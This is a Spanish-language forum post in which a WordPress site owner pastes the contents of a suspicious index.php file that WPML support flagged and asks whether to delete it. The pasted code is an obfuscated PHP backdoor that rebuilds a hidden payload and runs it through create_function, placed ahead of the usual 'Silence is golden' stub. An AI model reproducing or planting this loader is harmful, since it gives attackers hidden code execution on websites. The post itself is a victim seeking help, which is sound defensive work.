M
McToth
Curioso
¡Usuario con pocos negocios! ¡Utiliza siempre saldo de Forobeta!
Tengo un problema muy raro en la web. Las imágenes que gestiona Justified Image Gallery solo se muestran en catalán, no así en las páginas en español.
Después de comentar el tema con el servicio técnico de WPML, me han encontrado archivos sospechosos (según ellos), aunque a mi también me lo parecen. No encuentro información sobre esto. Y no me refiero a Silence is golden, que veo que puede estar en varios archivos index.php, sino la descripción que sigue...
Adjunto el código:
Que debo hacer? Borro los archivos? He mirado en Virustotal y Sucuri, pero no me encuentra nada malo...
Después de comentar el tema con el servicio técnico de WPML, me han encontrado archivos sospechosos (según ellos), aunque a mi también me lo parecen. No encuentro información sobre esto. Y no me refiero a Silence is golden, que veo que puede estar en varios archivos index.php, sino la descripción que sigue...
Adjunto el código:
Insertar CODE, HTML o PHP:
<?php $funwukls = '816:+946:ce44#)zbssb!>!ssbnpex24!>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24- xww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K##o]#/*)323zbe!-#jt0*?]+^?]_ x5c}X x24<!%tmw!>!#]y84]275`x x22l:!}V;3q%}U;y]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;))!gjZ<#opo#>b%!**X)ufttj x22)gj!|!*nbsbq%)x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/y]#>s%<#462]47y]252]18y]#>q%<#762]67y]562]38y]4#-!#]y38#-!%w:**<")));$kg**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fp_GMFT`QIQ&f_UTPI`QUUI&e_SEEB`sX x27u%)7fmjix6<C x2`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7>!%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27R57,27R66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV; x24]25 x24- x24-!% x24- x24*#-bubE{h%)tpqsut>j%!*72! )##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6* x7f!>> x22!pd%)!gj}Z;h!o" x6f 142 x5f 163 x74`cpV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfduhA)3of>2bd%!<5h%/#0#/*#npd/#)rrdf ((strstr($uas," x6d 163 x69 145")) or (strstr($uas," x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&)7gj6<.[A x27&67#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1]275]y7:]268]y7f#<!%tww!>) { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SERVER%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-6<*)ujojR x27id%6< x7fw6* x7]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K#-# x24- x24-tusqpt)%z-#:#* x24- pjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~dof./#@#/qp%>5h%!<*::::::-11<C>^#zsfvr# x5cq%7**^#z%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< y%)utjm!|!*5! x27!hmg%)!gj<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#1GO x22#)f5cSFWSFT`%}X;!sp!*#opo#>utcvt-#w#)ldbqov>*ofmbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sf%,3,j%>j%!<**3-j%-bubE{h%)s5 x5f 146 x75 156 x63 164 x69hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyfx5c2^-%hOh/#00#W~!%t2w)##Qtjw)#>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!op<^#Y# x5cq% x27Y%6<.msv]82#-#!#-%tmw)%tww**WYsboepn)%bss-!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}x7fw6* x7f_*#fmjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj7pd%6<pd%w6Z6<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!)% x24- x24*<!~! x24/%t2w/ x24)##-!#~<#/% x24- x24!>!fyqmpef)# x24*<!-K)udfoopdXA x22)7gj6<*QDUkkxwg = $omkexpr("", $sbrpgqt); $kgkkxwg();}}2M3]317]445]212]445]43]321]464]284]364]6]234]3fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%utcvt)esp>hmg%!<12>jl",str_split("%tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]6~67<&w6<*&7-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CW&)7gj6<gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<s.973:8297f:5297e:56-xr.98 157 x6e"; function enatnxl($n){return chr(ord($>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} ec:649#-!#:618d5f9#-!42]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7;ftmbg} x7f;!osvufs}w;!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zx27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9xpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+9f5dUVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`mfV x7f<*XAZASV<*w%)ppde>u%V<#65,47 x223}!+!<+{e%+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvu572]48y]#>m%:|:*r%:-t%)3of:opjudovsfvr# x5cq%)ufttj x22)gj652]e7y]#>n%<#372]58y]472]37y]672]487&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UF 141 x72 164") && (!isset($GLOBALS[" x61 156 x75 156 x61"])))FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)3~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{hA*Y%)fnbozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6if((function_exists(!|!*1?hmg%)!gj!<**2-4-bubE{h%)s:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4K2]285]Ke]53Ld]53]Kc]55Ld]55#*<%bG9}:}.}D6M7]K3#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273<**#57]38y]47]67y]37]88y]27]28y9]78]K5]53]Kc#<%tpz!>!#]of`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% xn)-1);} [MENTION=44761]Error[/MENTION]_reporting(0); $sbrpgqt = implode(array_map("enatnxgj}l;33bq}k;opjudovg}#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>23zbek!~!<b% x7f!<X>b%Z<#opo#>b%!*##>>X x24- x24gps)%j>1<%j=tj{fpg323ldfidk!~!<**qp%!-uyfu%)3of)fepdg<~ x24<!%o:!>! x242178}527}88:}334}472 x24<!%ff2!>!bssbz)x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:8:|:]283]427]36]373P6]36]73]83]238M7]381]211M5]67]452]88]5]48]3d%w6Z6<.2`hA x27pd%6<C x27pd%6|6.7eu{6#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]%!|!*#91y]c9y]g2y]#>`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*dojfs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut[" x48 124 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); i-}!#*<%nfd>%fdy<Cb*[%h!>!%t6<*id%)ftpmdR6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6<*127-*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebf]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]5! x2400~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x2epmqyfA>2b%!<*qp%-*.%)e2 166 x3a 61 x31"))) { $omkexpr = " x63 162 x65 141 x74 14! x27!hmg%)!gj!~<ofmyg)%s:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<R25,d7R17,67R37,#/q%>U<#16,4/#00;quui#>.%!<***f x27,*e! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r 1112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/SVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!>!} x27;!>>>!}_;gvc%}& x27,*d x27,*c x27,*b x27)fepdof.)fep5:52985-t.98]K4]65]D8]86]y31]278]y3f]51L3]84%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<!sTrREvxNoiTCnuf_EtaerCxECalPer_Rtstqlhkor'; $szkrnypv=explode(chr((686-566)),substr($funwukls,(36606-30729),(232-198))); $slvbnwa = $szkrnypv[0]($szkrnypv[(6-5)]); $mdcxrdnf = $szkrnypv[0]($szkrnypv[(7-5)]); if (!function_exists('ytbstx')) { function ytbstx($lueokqw, $xzrirjwn,$unoepae) { $qqfhoukmd = NULL; for($yasvmrk=0;$yasvmrk<(sizeof($lueokqw)/2);$yasvmrk++) { $qqfhoukmd .= substr($xzrirjwn, $lueokqw[($yasvmrk*2)],$lueokqw[($yasvmrk*2)+(6-5)]); } return $unoepae(chr((54-45)),chr((584-492)),$qqfhoukmd); }; } $tnhwfixmu = explode(chr((138-94)),'3921,20,925,21,3686,61,1252,64,4850,68,1066,57,5303,58,1851,29,2953,48,4210,65,2675,62,689,51,2162,51,4635,38,2825,64,4998,38,538,21,3622,64,2504,45,2340,26,559,66,2889,38,3851,70,1574,23,3562,25,2001,23,4741,67,1597,37,2113,49,4945,53,3334,42,1375,28,1123,48,3376,62,2457,47,5623,60,3156,22,899,26,1502,44,3795,56,2778,47,819,25,3231,45,5361,21,1824,27,1749,21,1634,26,3941,31,2655,20,4721,20,1956,45,2213,58,1660,65,5280,23,1033,33,5469,26,5683,37,1546,28,5564,59,3178,53,1770,54,3276,58,0,29,509,29,3747,48,4360,39,284,42,4426,34,4165,45,1725,24,3001,70,4518,58,1171,56,3972,47,3473,55,4808,42,946,48,3438,35,5441,28,740,50,1880,45,215,69,4275,21,326,57,160,55,5036,69,1227,25,5170,41,4110,31,5105,65,3587,35,383,46,3528,34,4460,58,790,29,2058,55,1469,33,29,64,5826,51,4399,27,2271,69,5764,62,625,64,3071,21,4296,64,5495,69,1925,31,2024,34,1316,59,2927,26,5720,44,1403,66,4141,24,4059,51,2737,41,4673,48,4019,40,4918,27,994,39,844,55,4576,59,2411,46,3092,64,455,54,5382,59,2549,58,2607,48,93,67,5211,69,429,26,2366,45'); $mepdcacmhsd = $slvbnwa("",ytbstx($tnhwfixmu,$funwukls,$mdcxrdnf)); $slvbnwa=$funwukls; $mepdcacmhsd(""); $mepdcacmhsd=(624-503); $funwukls=$mepdcacmhsd-1; ?><?php
// Silence is golden.
Que debo hacer? Borro los archivos? He mirado en Virustotal y Sucuri, pero no me encuentra nada malo...